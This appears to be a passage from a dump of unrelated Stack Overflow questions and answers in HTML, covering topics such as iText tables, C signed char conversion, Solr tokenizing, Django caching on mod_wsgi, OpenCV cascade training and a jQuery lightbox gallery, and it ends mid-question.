37562195	0	 <p>For logical reasons, tables are filled row by row in iText:</p> <p><a href="https://i.stack.imgur.com/SXI4A.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/SXI4A.png" alt="enter image description here"></a></p> <p>If you want to change the order, you need to do this yourself by creating a data matrix first. One way to do this, is by creating a two-dimensional array (there are other ways, but I'm using an array for the sake of simplicity).</p> <p>The <a href="http://developers.itextpdf.com/examples/tables/render-data-table#1834-rowcolumnorder.java" rel="nofollow noreferrer">RowColumnOrder</a> example shows how it's done.</p> <p>This is the normal behavior:</p> <pre><code>document.add(new Paragraph("By design tables are filled row by row:")); PdfPTable table = new PdfPTable(5); table.setSpacingBefore(10); table.setSpacingAfter(10); for (int i = 1; i &lt;= 15; i++) { table.addCell("cell " + i); } document.add(table); </code></pre> <p>You want to change this behavior, which means that you have to create a matrix in which you change the order rows and columns are filled:</p> <pre><code>String[][] array = new String[3][]; int column = 0; int row = 0; for (int i = 1; i &lt;= 15; i++) { if (column == 0) { array[row] = new String[5]; } array[row++][column] = "cell " + i; if (row == 3) { column++; row = 0; } } </code></pre> <p>As you can see, there is no iText code involved. I have 15 cells to add in a table with 5 columns and 3 rows. To achieve this, I create a <code>String[3][5]</code> array of which I fill every row of a column, then switch to the next column when the current column is full. Once I have the two-dimensional matrix, I can use it to fill a <code>PdfPTable</code>:</p> <pre><code>table = new PdfPTable(5); table.setSpacingBefore(10); for (String[] r : array) { for (String c : r) { table.addCell(c); } } document.add(table); </code></pre> <p>As you can see, the second table in <a href="http://gitlab.itextsupport.com/itext/sandbox/raw/master/cmpfiles/tables/cmp_row_column_order.pdf" rel="nofollow noreferrer">row_column_order.pdf</a> gives you the result you want.</p>
7992624	0	 <p>I would re-think your storyboard layout here a bit. The title screen and login screens are essentially just modal views on top of the main part of your app, the <code>UITabBarController</code>. I would have the <code>UITabBarController</code> be the initial view controller in the storyboard and then conditionally present the title view/login screen modally as soon as the application finishes launching. </p> <p>Now with this design, showing the login screen is as simple as performing any modal segue. You may want to think about using delegation from the settings view controller to notify the presenting view controller that the user logged out and that the login view controller should be presented.</p>
14327896	0	 <p>A singleton would be fine if you're not going to store any of the information in between sessions.</p> <p>For example, if you wanted to save a user's email address so they don't have to fill it out every time to log in, you'll need to use </p> <pre><code>[[NSUserDefaults standardUserDefaults] valueForKey:@"someKeyName"]; </code></pre> <p>Just like in your question.</p>
25167304	0	 <p><code>char</code> isn’t special in this regard (besides its implementation-defined signedness), all conversions to signed types usually exhibit this “cyclic nature”. However, there are undefined and implementation-defined aspects of signed overflow, so be careful when doing such things.</p> <p>What happens here:</p> <p>In the expression</p> <pre><code>c=c+10 </code></pre> <p>the operands of <code>+</code> are subject to the <em>usual arithmetic conversions</em>. They include <em>integer promotion</em>, which converts all values to <code>int</code> if all values of their type can be represented as an <code>int</code>. This means, the left operand of <code>+</code> (<code>c</code>) is converted to an <code>int</code> (an <code>int</code> can hold every <code>char</code> value<sup>1)</sup>). The result of the addition has type <code>int</code>. The assignment implicitly converts this value to a <code>char</code>, which happens to be signed on your platform. An (8-bit) signed <code>char</code> cannot hold the value 135 so it is converted in an implementation-defined way <sup>2)</sup>. For <a href="https://gcc.gnu.org/onlinedocs/gcc/Integers-implementation.html#Integers-implementation" rel="nofollow">gcc</a>:</p> <blockquote> <p>For conversion to a type of width <strong>N</strong>, the value is reduced modulo <strong>2<sup>N</sup></strong> to be within range of the type; no signal is raised.</p> </blockquote> <p>Your <code>char</code> has a width of <strong>8</strong>, <strong>2<sup>8</sup></strong> is <strong>256</strong>, and <strong>135 ☰ -121 mod 256</strong> (cf. e.g. <a href="https://en.wikipedia.org/wiki/Two&#39;s_complement" rel="nofollow">2’s complement on Wikipedia</a>).</p> <p>You didn’t say which compiler you use, but the behaviour should be the same for all compilers (there aren’t really any non-2’s-complement machines anymore and with 2’s complement, that’s the only reasonable signed conversion definition I can think of).</p> <p>Note, that this implementation-defined behaviour only applies to conversions, not to overflows in arbitrary expressions, so e.g.</p> <pre><code>int n = INT_MAX; n += 1; </code></pre> <p>is undefined behaviour and used for optimizations by some compilers (e.g. by optimizing such statements out), so such things should definitely be avoided.</p> <p>A third case (unrelated here, but for sake of completeness) are unsigned integer types: No overflow occurs (there are exceptions, however, e.g. bit-shifting by more than the width of the type), the result is always reduced modulo <strong>2<sup>N</sup></strong> for a type with precision <strong>N</strong>.</p> <p>Related:</p> <ul> <li><a href="http://stackoverflow.com/questions/24156897/a-simple-c-program-output-is-not-as-expected">A simple C program output is not as expected</a></li> <li><a href="http://stackoverflow.com/questions/4240748/allowing-signed-integer-overflows-in-c-c">Allowing signed integer overflows in C/C++</a></li> </ul> <hr> <p><sup>1</sup> At least for 8-bit <code>char</code>s, signed <code>char</code>s, or <code>int</code>s with higher precision than <code>char</code>, so virtually always.</p> <p><sup>2</sup> The C standard says (C99 and C11 (n1570) 6.3.1.3 p.3) “[…] either the result is implementation-defined or an implementation-defined signal is raised.” I don’t know of any implementation raising a signal in this case. But it’s probably better not to rely on that conversion without reading the compiler documentation.</p>
6546737	0	Installer not creating instead of compiling install.xml <p>I have given the following command at the <code>bin</code> directory of <code>Izpack</code> like this</p> <pre><code>C:\Program Files\IzPack\bin&gt;compile D:\ant\guage install.xml </code></pre> <p>Is this the correct way to give ?</p>
13178095	0	 <p>Are you really fetching so many rows to web server? If yes, review your code to narrow down to what's required.</p> <ol> <li>Try archiving old data to another table based on datetime. Re-write logic to fetch older data only when required.</li> <li>As others have mentioned, indexes / keys should help a mile in most cases</li> </ol> <p>If you can't do any of the above, another ugly solution (not sure if it will not go worse) is to create in-memory table, filter and fetch what's required and then fetch CLOB data.</p>
36089653	0	 <p>Just answer your question in title, yes you can have AMP and NON-AMP pages. You can see WordPress plugin here <a href="https://wordpress.org/plugins/amp/" rel="nofollow">https://wordpress.org/plugins/amp/</a> , they are currently generating AMP page for each Blog Post in Single view, however any other custom post types like Pages, Archive pages, Category pages,front page are all non-AMP.</p>
9604054	0	 <p>What version of Simple_form are you using? How did you integrate bootstrap?</p> <p>Presuming you used simple_form's wiki to integrate with twitter/bootstrap then please verify:</p> <ol> <li>lib/simple_form/contained_input_component.rb is being loaded and is implemented as-is</li> <li>config/initializers/simple_form.rb is calling the above library</li> <li>there is only one simple_form.rb in config/initializers and config/production</li> </ol> <p>If all of the above is in order, please update the question with your view code.</p>
39752437	0	 <p>Your current example method has value hard coded to "Mult" but I assume that would be changed in your actual implementation.</p> <p>Assuming "value" contains the enumeration value corresponding to the button clicked, your Switch Statement should switch on that variable:</p> <pre><code>switch(value) </code></pre>
19003558	0	Inner query in Linq <p>How to write a linq query to retreive questions from questions table which is not attempt by user before.</p> <p>question table</p> <pre><code>create table questions ( questionID int, question varchar, primary key(questionID) ); create table result { id int, answered_by varchar, questionid int, answer varchar, primary key (id), foreign key ( questionid) references question(questionID) ); </code></pre>
18266138	0	How to get a password encrypted since the Java Script file in my web application? <p>I'm designing some code for a standard login in a web application, I consider that doing the <strong>password encryption</strong> on <strong>client side</strong> is better than making mongo server doing it.</p> <p>So, if I have this code ...</p> <pre><code>$("#btnSignUp").click( function () { var sign = { user:$("#signUser").val(), pass:$("#signPass").val() }; }); </code></pre> <p>And then I'd do a <strong>post</strong> of <code>sign</code> with the password value already encrypted, how could I achieve this? Does JavaScript support AES?</p>
31978911	0	 <p>Declare the variable outside of both the functions so it can be accessed by either function.</p> <pre><code>private string getFileName = ''; protected override void SomeFunction(){ switch (ofd.ShowDialog()) { case DialogResult.OK: getFileName = Path.GetFullPath(ofd.FileName); labelStatus.Text += getFileName; break; } } private void button1_Click(object sender, EventArgs e) { try { Process.Start(getFileName); } catch { //... } } </code></pre> <p>I suggest you search YouTube for c#.net variable scope to better understand when an where a variable can be accessed :)</p>
4130588	0	 <p>You can use the <code>setTestProviderLocation</code> method of the <code>LocationManager</code> to mock new locations and have the <code>onLocationChanged</code> method of the registered listeners called when you want.</p> <p>You should check the <a href="http://developer.android.com/reference/android/location/LocationManager.html" rel="nofollow">reference page</a>. You also have an example <a href="http://markmail.org/message/koo6pdhusseubuth" rel="nofollow">here</a>.</p>
34144314	0	how to have fread perform like read.delim <p>I've got a large tab-delimited data table that I am trying to read into R using the data.table package fread function. However, fread encounters an error. If I use read.delim, the table is read in properly, but I can't figure out how to configure fread such that it handles the data properly.</p> <p>In an attempt to find a solution, I've installed the development version of data.table, so I am currently running data.table v1.9.7, under R v3.2.2, running on Ubuntu 15.10.</p> <p>I've isolated the problem to a few lines from my large table, and you can <a href="https://dl.dropboxusercontent.com/u/34644229/problemRows.txt" rel="nofollow">download it here</a>.</p> <p>When I used fread:</p> <pre><code>&gt; fread('problemRows.txt') Error in fread("problemRows.txt") : Expecting 8 cols, but line 3 contains text after processing all cols. It is very likely that this is due to one or more fields having embedded sep=',' and/or (unescaped) '\n' characters within unbalanced unescaped quotes. fread cannot handle such ambiguous cases and those lines may not have been read in as expected. Please read the section on quotes in ?fread. </code></pre> <p>I tried using the parameters used by read.delim:</p> <pre><code>fread('problemRows.txt', sep="\t", quote="\"") </code></pre> <p>but I get the same error.</p> <p>Any thoughts on how to get this to read in properly? I'm not sure what exactly the problem is.</p> <p>Thanks!</p>
38971499	0	 <pre><code>You don't need all those thing just do it like this.. &lt;object width="420" height="315" data="http://www.youtube.com/v/XGSy3_Czz8k"&gt; &lt;/object&gt; </code></pre> <p>OR</p> <pre><code>&lt;embed width="420" height="315" src="http://www.youtube.com/embed/XGSy3_Czz8k"&gt; </code></pre>
3894160	0	 <p>In the first case the scope of the String declaration is within the switch statement therefore it is shown as duplicate while in the second the string is enclosed within curly braces which limits the scope within the if/else conditions,therefore it is not an error in the second case.</p>
27491188	0	 <p>Most likely your script isn't running slower- check your server logs. What you're seeing is the high latency of cellular data plans. Basically, it takes a long time for requests to get from your phone to the tower. It isn't causing your php to run slower, its just taking a while for the data to transfer to your server and back.</p>
38606976	0	 <p>I spent a lot of time getting this done. Here is a clear step-by-step things to be done to query special characters in SolR. Hope it helps someone.</p> <ol> <li>Edit the schema.xml file and find the solr.TextField that you are using.</li> <li><p>Under both, "index" and query" analyzers modify the <code>WordDelimiterFilterFactory</code> and add <code>types="characters.txt"</code> Something like:</p> <pre><code>&lt;fieldType name="text_general" class="solr.TextField" positionIncrementGap="100" multiValued="true"&gt; &lt;analyzer type="index"&gt; &lt;tokenizer class="solr.WhitespaceTokenizerFactory"/&gt; &lt;filter catenateAll="0" catenateNumbers="0" catenateWords="0" class="solr.WordDelimiterFilterFactory" generateNumberParts="1" generateWordParts="1" splitOnCaseChange="1" types="characters.txt"/&gt; &lt;/analyzer&gt; &lt;analyzer type="query"&gt; &lt;tokenizer class="solr.WhitespaceTokenizerFactory"/&gt; &lt;filter catenateAll="0" catenateNumbers="0" catenateWords="0" class="solr.WordDelimiterFilterFactory" generateNumberParts="1" generateWordParts="1" splitOnCaseChange="1" types="characters.txt"/&gt; &lt;/analyzer&gt; &lt;/fieldType&gt; </code></pre></li> <li><p>Ensure that you use WhitespaceTokenizerFactory as the tokenizer as shown above.</p></li> <li><p>Your characters.txt file can have entries like-</p> <pre><code> \# =&gt; ALPHA @ =&gt; ALPHA \u0023 =&gt; ALPHA ie:- pointing to ALPHA only. </code></pre></li> <li><p>Clear the data, re-index and query for the entered characters. It will work.</p></li> </ol>
33026165	0	ImageJ if statement won't execute roiManager("Select",#); <p>Finally got my code working except for one if statement that I cannot fix. I am selecting ROIs 3 and 4 in the first step, and then if the "if" statement is satisfied I want to select just the 4th ROI and delete that. For whatever reason it skips the selection of ROI 4 and deletes the already selected 3 and 4. I've tried selectWindow("ROI Manager"); before with no luck. Not really sure what the issue is or how to fix. Thanks!</p> <pre><code>roiManager("Select", newArray(3,4)); roiManager("Measure"); tempX1=getResult("X", 0); tempY1=getResult("Y", 0); tempX2=getResult("X", 1); tempY2=getResult("Y", 1); selectWindow("Results"); run("Close"); if (tempX1&gt;(tempX2-2) &amp;&amp; tempX1&lt;(tempX2+2) &amp;&amp; tempY1&gt;(tempY2-2) &amp;&amp; tempY1&lt;(tempY2+2)) { selectWindow("ROI Manager"); roiManager("Select", 4); roiManager("Delete"); } </code></pre>
14341290	0	 <p>You can have distinct patterns only for positive and negative values.You should do something like: </p> <pre><code>public class DecimalScientificFormat extends DecimalFormat { private static DecimalFormat df = new DecimalFormat("#0.00##"); private static DecimalFormat sf = new DecimalFormat("0.###E0"); @Override public StringBuffer format(double number, StringBuffer result, FieldPosition fieldPosition) { String decimalFormat = df.format(number); return (0.0001 != number &amp;&amp; df.format(0.0001).equals(decimalFormat)) ? sf.format(number, result, fieldPosition) : result.append(decimalFormat); } } </code></pre>
4570505	0	 <p>It is absolutely the same in C++, so not only a python / pyqt problem (played around with that for some time now to see if I can find a solution). I first thought this is the old bug with Qt::ItemIsEnabled coming back which we already had in 4.2, but it was not.</p> <p>This is either working as intended and not enough described in the documentation (my +1 for this), or a bug.</p> <p>To be sure about this, I would file a bug at <a href="http://bugreports.qt.nokia.com" rel="nofollow">http://bugreports.qt.nokia.com</a>, and see what they say about this.</p>
12424460	0	 <p>You can create a <a href="http://msdn.microsoft.com/en-us/library/system.web.mvc.modelvalidatorprovider%28v=vs.108%29.aspx" rel="nofollow"><code>ModelValidatorProvider</code></a> for Enterprise Library validation. Brad Wilson has a <a href="http://bradwilson.typepad.com/blog/2009/10/enterprise-library-validation-example-for-aspnet-mvc-2.html" rel="nofollow">blog post</a> describing how to do this.</p> <p>However, it looks like this will only perform server side validation. If the attributes you are using are very similar to DataAnnotations, I would recommend using them instead.</p>
29749900	0	Extract details that are in both using awk or sed <p>I'm trying to write a script which needs to extract details that exist on both versions. </p> <pre><code>ABC-A1 1.0 tomcat BBC-A1 2.0 tomcat CAD-A1 1.0 tomcat ABC-A1 2.0 tomcat BBC-A1 2.0 tomcat </code></pre> <p>In the above data , I would like to extract the names that exist in both 1.0 and 2.0 ( that will be <code>ABC-A1</code> and <code>BBC-A1</code> )</p> <p>How can I do this using <em>awk or sed</em> or any other?</p>
30306385	0	Not getting values from grid table when checkbox is checked? <p>I want to get value of row where checkbox is checked. I am new to C# windows forms and so far unsuccessful. I want to eventually use these row values, so if user selects multiple row and then I should get value for those checked. Also, I have set the selection mode to 'fullrowselect'</p> <p>Please suggest changes to my code</p> <pre><code>private void button1_Click(object sender, EventArgs e) { StringBuilder ln = new StringBuilder(); dataGridView1.ClearSelection(); foreach (DataGridViewRow row in dataGridView1.Rows) { if (dataGridView1.SelectedRows.Count&gt;0 ) { ln.Append(row.Cells[1].Value.ToString()); } else { MessageBox.Show("No row is selected!"); break; } } MessageBox.Show("Row Content -" + ln); } </code></pre>
36376059	0	 <p>This is an aggregation query, but you don't seem to want the column being aggregated. That is ok (although you cannot distinguish the rk that defines each row):</p> <pre><code>select count(*) as CountOfId, max(dateof) as maxdateof from t group by fk; </code></pre> <p>In other words, your subquery is pretty much all you need.</p> <p>If you have a reasonable amount of data, you can use a MySQL trick:</p> <pre><code>select substring_index(group_concat(id order by dateof desc), ',', 1) as id count(*) as CountOfId, max(dateof) as maxdateof from t group by fk; </code></pre> <p>Note: this is limited by the maximum intermediate size for <code>group_concat()</code>. This parameter can be changed and it is typically large enough for this type of query on a moderately sized table.</p>
26902204	0	 <p>Try start cmd /k to run the bat in new window. For goto, notice no colon before A. Lastly, your set command as written will include the space. I closed it here.</p> <pre><code>:begin SET /P runscript=[Question Here] if %runscript%==:100 start cmd /k blahblah.bat if %runscript%==EXIT goto A pause </code></pre>
37499139	0	OpenCV 2.4.9 - Traincascade problems <p>I use OSX 10.11. I'm new to opencv and I'm trying to train a simple (and surely weak) cascade classifier to detect an object. I have already read several answers, posts, guide, docs and tutorials about cascade classifier but I have some problems. I referred to this guide:</p> <p><a href="http://coding-robin.de/2013/07/22/train-your-own-opencv-haar-classifier.html" rel="nofollow noreferrer">guide</a></p> <p>That follow opencv doc. Now I have 8 jpg with my interest object and 249 background images (I know that it's a poor dataset but it's only an attempt).</p> <p>When I call opencv_createsamples I noticed the author of guide generate 1500 samples and also I do it. It means that generate 1500 samples from my 8 positive images?</p> <pre><code>perl bin/createsamples.pl positives.txt negatives.txt samples 1500 "opencv_createsamples -bgcolor 0 -bgthresh 0 -maxxangle 1.1 -maxyangle 1.1 maxzangle 0.5 -maxidev 40 -w 80 -h 40" </code></pre> <p>Note that in sample folder I have only 7 img*.jpg.vec file. They would not be 1500? After when I call:</p> <pre><code>g++ `pkg-config --libs --cflags opencv` -I. -o mergevec mergevec.cpp cvboost.cpp cvcommon.cpp cvsamples.cpp cvhaarclassifier.cpp cvhaartraining.cpp -lopencv_core -lopencv_calib3d -lopencv_imgproc -lopencv_highgui -lopencv_objdetect </code></pre> <p>I have some errors because missing "OpenCL" "AppKit" "QuartzCore" "QTKit" "Cocoa". Where I can retrieve these? However I'm tried to continue and I generate samples.vec file.</p> <pre><code>find ./samples -name '*.vec' &gt; samples.txt ./mergevec samples.txt samples.vec </code></pre> <p>Finally I train my classifier with this code:</p> <pre><code>opencv_traincascade -data classifier -vec samples.vec -bg negatives.txt -numStages 20 -minHitRate 0.999 -maxFalseAlarmRate 0.5 -numPos 1000 -numNeg 249 -featureType LBP -w 80 -h 40 -precalcValBufSize 2048 -precalcIdxBufSize 4096 </code></pre> <p>After read some posts I've choosen -numPos smaller than 1500 samples previously generated (but where are they?). When I start the training, the one stuck in this situation:</p> <p><a href="https://i.stack.imgur.com/iYs1D.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/iYs1D.png" alt="terminal"></a></p>
7477211	1	Using Django Caching with Mod_WSGI <p>Is anyone aware of any issues with Django's caching framework when deployed to Apache/Mod_WSGI?</p> <p>When testing with the caching framework locally with the dev server, using the profiling middleware and either the FileBasedCache or LocMemCache, Django's very fast. My request time goes from ~0.125 sec to ~0.001 sec. Fantastic.</p> <p>I deploy the identical code to a remote machine running Apache/Mod_WSGI and my request time goes from ~0.155 sec (before I deployed the change) to ~.400 sec (post deployment). That's right, caching <strong>slowed everything down</strong>.</p> <p>I've spent hours digging through everything, looking for something I'm missing. I've tried using FileBasedCache with a location on tmpfs, but that also failed to improve performance.</p> <p>I've monitored the remote machine with top, and it shows no other processes and it has 6GB available memory, so basically Django should have full rein. I love Django, but it's incredibly slow, and so far I've never been able to get the caching framework to make any noticeable impact in a production environment. Is there anything I'm missing?</p> <p>EDIT: I've also tried memcached, with the same result. I confirmed memcached was running by telneting into it.</p>
32823450	0	 <p>Do it with <code>Java.util.Scanner</code>. Thats a really basic thing in java. I recommend you to do some research :) Here is an easy tutorial on that: <a href="http://www.homeandlearn.co.uk/java/user_input.html" rel="nofollow">http://www.homeandlearn.co.uk/java/user_input.html</a></p> <p>here an answere anyway:</p> <pre><code>public static void main(String[] args){ Scanner user_input = new Scanner( System.in ); String anInputString; anInputString = user_input.next( ); if (anInputString.equals("1 11")){ System.out.println("4") } if (anInputString.equals("11 111"){ System.out.println("34") } } </code></pre> <p>edit: </p> <p>if you want to achieve an output of "4" while your input lies between "1" and "11". Or "34" if its between "10" and "112" you should try this:</p> <pre><code> public static void main(String[] args){ Scanner user_input = new Scanner( System.in ); int anInputInt; anInputInt = user_input.nextInt( ); if (0 &lt; anInputInt &amp;&amp; anInputInt &lt; 11 ){ //if input is (1-10) System.out.println("4") } if (11 &lt;= anInputInt &amp;&amp; anInputInt &lt;= 111){ //if input is (11-111) System.out.println("34") } } </code></pre> <p>Anyway you should edit your question :D I think many people are happy to help you, but just cant understand your question at all 0.0</p> <p><strong>finally after I understood what you really want to do:</strong></p> <pre><code> public static void main(String[] args){ Scanner user_input = new Scanner( System.in ); int anInputInt; anInputInt = user_input.nextInt( ); if(anInputString &lt; 0){ anInputString = anInputstring*(-1); } int oneCount = 0; //gets all numbers in your specified range //if you want to start at number "xx" change the value of aNumberInRange likewise for (int aNumberInRange = 0; aNumberInRange &lt; anInputInt; aNumberInRange++){ String str = String.valueOf(aNumberInRange); //iterates through every character of an aNumberInRange and counts if a "1" occurs for(int i = 0; i &lt; str.length(); i++){ char c = str.charAt(i); if (c == 1){ oneCount++ } } } system.out.println(oneCount); } </code></pre> <p><strong>For whoever reads this solution. The client wanted to count all the occurences of the number "1" in a specified range. This should also work with negative Numbers</strong></p>
20446616	0	 <p>Got it working, when I renamed the id, I forgot to rename the digarm element with the new id. I corrected it. </p>
25719570	0	SpriteKit: Callback after all nodes finished actions <p>Simplified problem (in Swift but I think also in Objective-C): I've got two nodes where actions have started. The information about the initial runtime of the action is not available (got lost). I'd like to be informed <em>after both actions</em> have been performed.</p> <p>After performing additional actions will be assigned according to the current state (which is not available in advance).</p> <p>Any simple solution known?</p>
26303123	0	 <p><strong>No</strong>, you don't need to migrate these projects to Apache Flex.</p> <p>Flex 4.6 projects can still be built and deployed; they just don't have the latest SDK changes. Your projects will remain compatible with future Flash Player versions.</p> <p>The only reason to update to Apache Flex at this point is if you need features introduced in a later version of the Flex SDK.</p>
14987510	0	 <p>You can import contacts by chunks and validate every record before saving it. Take a look at <a href="https://github.com/tilo/smarter_csv" rel="nofollow">smarter_csv</a> which allow chunk and parallel processing of CSV files.</p>
21390196	0	Detect linux version 5 or 6 <p>I am new to shell script as I do to detect the version of linux? with shell script would detect if the version is 5 or 6 Linux with IF if possible to execute a block of installation.</p>
24301734	0	 <p>If you specify context configuration location on your test class, and use spring test runner the context will be cached not reloaded each time.</p> <p>Something like :</p> <pre><code>@RunWith (SpringJUnit4ClassRunner.class) @ContextConfiguration (locations = "classpath:/config/applicationContext-test.xml") @WebAppConfiguration public class MyTest {} </code></pre>
15528539	0	JBoss 7 and Camel 2.11 - BeanManager complaining about "non-portable behaviour" <p>I'm using camel 2.11-SNAPSHOT in an ear which is running on JBoss AS 7.1.</p> <p>When deploying the app and while the routes are being constucted (in a <code>@Singleton</code> <code>@Startup</code> bean, using an <code>@Inject</code>ed CdiCamelContext) i get a lot of warnings (ca. 30) like this in my server log:</p> <pre><code>2013-03-20 16:40:55,153 WARNING [org.apache.deltaspike.core.api.provider.BeanManagerProvider] (MSC service thread 1-2) When using the BeanManager to retrieve Beans before the Container is started, non-portable behaviour results! </code></pre> <p>and after the the context has been started i get this WARNINGs:</p> <pre><code>2013-03-20 16:40:56,339 WARNING [org.apache.deltaspike.core.api.provider.BeanManagerProvider] (Camel (camel-2) thread #1 - file:///tmp/exchange/tmobile/in) When using the BeanManager to retrieve Beans before the Container is started, non-portable behaviour results! </code></pre> <p>What does it mean? I couldn't find anything useful on google. Is it a bug? Did i configure camel wrong?</p>
11181436	0	 <p>In case you wont get proper drivers for your tablet you can try adb over network.</p> <ol> <li>Connect your device to wifi as well as your computer.</li> <li>turn on ADB over network in Options for developers (maybe some ROM dont support it). Eventualy you can enable this using specific commands on your tablet.</li> <li>on your computer run terminal and use: <code>adb connect &lt;ip&gt;:&lt;port&gt;</code> where <code>&lt;ip&gt;</code> refers to IP of your tablet and <code>&lt;port&gt;</code> refers to port on which adb is listening (usually 5555).</li> <li>run <code>adb devices</code> to verify that device is connected</li> </ol>
746730	0	 <p>Developing UI is time consuming and error-prone because it involves <a href="http://en.wikipedia.org/wiki/Design" rel="nofollow noreferrer">design</a>. Not just visual or sound design, but more importantly interaction design. A good API is always interaction model neutral, meaning it puts minimal constraints on actual workflow, localisation and info representation. The main driver behind this is encapsulation and code re-use.</p> <p>As a result it is impossible to extract enough information from API alone to construct a good user interface tailored to a specific case of API use. </p> <p>However there are UI generators that normally produce <a href="http://en.wikipedia.org/wiki/Create,_read,_update_and_delete" rel="nofollow noreferrer">CRUD</a> screens based on a given API. Needless to say that such generated UI's are not very well-suited for frequent users with demands for higher UI efficiency, nor are they particularly easy to learn in case of a larger system since they don't really communicate system image or interaction sequence well.</p> <p>It takes a lot of effort to create a good UI because it needs to be designed according to specific user needs and not because of some mundane API-UI conversion task that can be fully automated. </p> <p>To speed the process of building UI up and mitigate risks it is possible to suggest either involving UI professionals or learning more about the job yourself. Unfortunatelly, there is no shortcut or magic wand, so to speak that will produce a quality UI based entirely and only on an API without lots of additional info and analysis. </p> <p>Please also see an excellent question: "<a href="http://stackoverflow.com/questions/514083/why-is-good-ui-design-so-hard-for-some-developers">Why is good UI design so hard for some developers</a>?" that has some very insightful and valuable answers, specifically:</p> <ul> <li><p>Shameless plug for <a href="http://stackoverflow.com/questions/514083/why-is-good-ui-design-so-hard-for-some-developers/516204#516204">my own answer</a>.</p></li> <li><p><a href="http://stackoverflow.com/questions/514083/why-is-good-ui-design-so-hard-for-some-developers/537490#537490">Great answer</a> by Karl Fast.</p></li> </ul>
14601720	0	Flex/air mobile - Display All mp3 Song From the SD card with id3 info and poster image <p>I am trying to fetch all mp3 songs from SD card . I want only the .mp3 files to be displayed and not any of the folders/ sub folders. I need every mp3 song that exists in SD card and how to get ID3 info from loaded mp3 songs.</p> <p>Your feedback is highly appreciated….</p>
8851986	0	 <p>Try the following command:</p> <pre><code>function s:WipeBuffersWithoutFiles() let bufs=filter(range(1, bufnr('$')), 'bufexists(v:val) &amp;&amp; '. \'empty(getbufvar(v:val, "&amp;buftype")) &amp;&amp; '. \'!filereadable(bufname(v:val))') if !empty(bufs) execute 'bwipeout' join(bufs) endif endfunction command BWnex call s:WipeBuffersWithoutFiles() </code></pre> <p>Usage:</p> <pre><code>:BWnex&lt;CR&gt; </code></pre> <p>Note some tricks:</p> <ul> <li><code>filter(range(1, bufnr('$')), 'bufexists(v:val)')</code> will present you a list of all buffers (buffer numbers) that vim currently has.</li> <li><code>empty(getbufvar(v:val, '&amp;buftype'))</code> checks whether buffer actually should have a file. There are some plugins opening buffers that are never supposed to be represented in filesystem: for example, buffer with a list of currently opened buffers emitted by plugins such as minibufexplorer. These buffers always have <code>&amp;buftype</code> set to something like <code>nofile</code>, normal buffers have empty buftype.</li> </ul>
26737984	0	Zurb foundation grid - repeating columns without row <p>Is it wrong to do it like this?</p> <pre><code>&lt;div class="row"&gt; &lt;div class="medium-6 columns"&gt;some content&lt;/div&gt; &lt;div class="medium-6 columns"&gt;some content&lt;/div&gt; &lt;div class="medium-6 columns"&gt;some content&lt;/div&gt; &lt;div class="medium-6 columns"&gt;some content&lt;/div&gt; &lt;div class="medium-6 columns"&gt;some content&lt;/div&gt; &lt;div class="medium-6 columns"&gt;some content&lt;/div&gt; &lt;/div&gt; </code></pre> <p>Instead of:</p> <pre><code>&lt;div class="row"&gt; &lt;div class="medium-6 columns"&gt;some content&lt;/div&gt; &lt;div class="medium-6 columns"&gt;some content&lt;/div&gt; &lt;/div&gt; &lt;div class="row"&gt; &lt;div class="medium-6 columns"&gt;some content&lt;/div&gt; &lt;div class="medium-6 columns"&gt;some content&lt;/div&gt; &lt;/div&gt; &lt;div class="row"&gt; &lt;div class="medium-6 columns"&gt;some content&lt;/div&gt; &lt;div class="medium-6 columns"&gt;some content&lt;/div&gt; &lt;/div&gt; </code></pre> <p>From what I can see the result is the same but with less <code>div</code>s.</p>
8278163	0	lightbox is crashing <p>I have several pages made from the a template that has a navigation made with idTabs, in javascript. </p> <p>This is what I have in <code>&lt;head&gt;</code>:</p> <pre><code> &lt;script type="text/javascript" src="jquery.idTabs.min.js"&gt;&lt;/script&gt; &lt;script src="scripts/jquery.js" type="text/javascript"&gt;&lt;/script&gt; &lt;script src="scripts/lightbox.js" type="text/javascript"&gt;&lt;/script&gt; &lt;link href="css/lightbox.css" rel="stylesheet" type="text/css" /&gt; &lt;link href="css/sample_lightbox_layout.css" rel="stylesheet" type="text/css" /&gt; </code></pre> <p>Then in <code>&lt;body&gt;</code>: </p> <pre><code>&lt;div id="poze"&gt; &lt;div id="gallery" class="lbGallery"&gt; &lt;ul&gt; &lt;li&gt; &lt;a href="images/lightboxdemo2.jpg" title=""&gt;&lt;img src="images/lightboxdemo_thumb2.jpg" width="72" height="72" alt="Flower" /&gt;&lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;a href="images/lightboxdemo5.jpg" title=""&gt;&lt;img src="images/lightboxdemo_thumb5.jpg" width="72" height="72" alt="Tree" /&gt;&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;script type="text/javascript"&gt; // BeginOAWidget_Instance_2127022: #gallery $(function(){ $('#gallery a').lightBox({ imageLoading: '/images/lightbox/lightbox-ico-loading.gif', // (string) Path and the name of the loading icon imageBtnPrev: '/images/lightbox/lightbox-btn-prev.gif', // (string) Path and the name of the prev button image imageBtnNext: '/images/lightbox/lightbox-btn-next.gif', // (string) Path and the name of the next button image imageBtnClose: '/images/lightbox/lightbox-btn-close.gif', // (string) Path and the name of the close btn imageBlank: '/images/lightbox/lightbox-blank.gif', // (string) Path and the name of a blank image (one pixel) fixedNavigation: false, // (boolean) Boolean that informs if the navigation (next and prev button) will be fixed or not in the interface. containerResizeSpeed: 400, // Specify the resize duration of container image. These number are miliseconds. 400 is default. overlayBgColor: "#999999", // (string) Background color to overlay; inform a hexadecimal value like: #RRGGBB. Where RR, GG, and BB are the hexadecimal values for the red, green, and blue values of the color. overlayOpacity: .6, // (integer) Opacity value to overlay; inform: 0.X. Where X are number from 0 to 9 txtImage: 'Image', //Default text of image txtOf: 'of' }); }); // EndOAWidget_Instance_2127022 &lt;/script&gt; &lt;/div&gt; </code></pre> <p>The navigation has two links: a <code>&lt;div&gt;</code> with text, and a <code>&lt;div&gt;</code> with lightbox gallery. The lightbox is a widget from Dreamweaver.</p> <pre><code>&lt;div id="navidtabs"&gt; &lt;ul class="idTabs"&gt; &lt;li&gt;&lt;a href="#info"&gt;informatii&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#pictures"&gt;poze&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre> <p>Something unbelievable happens: I apply the template to a new page, make the modifications, save it, 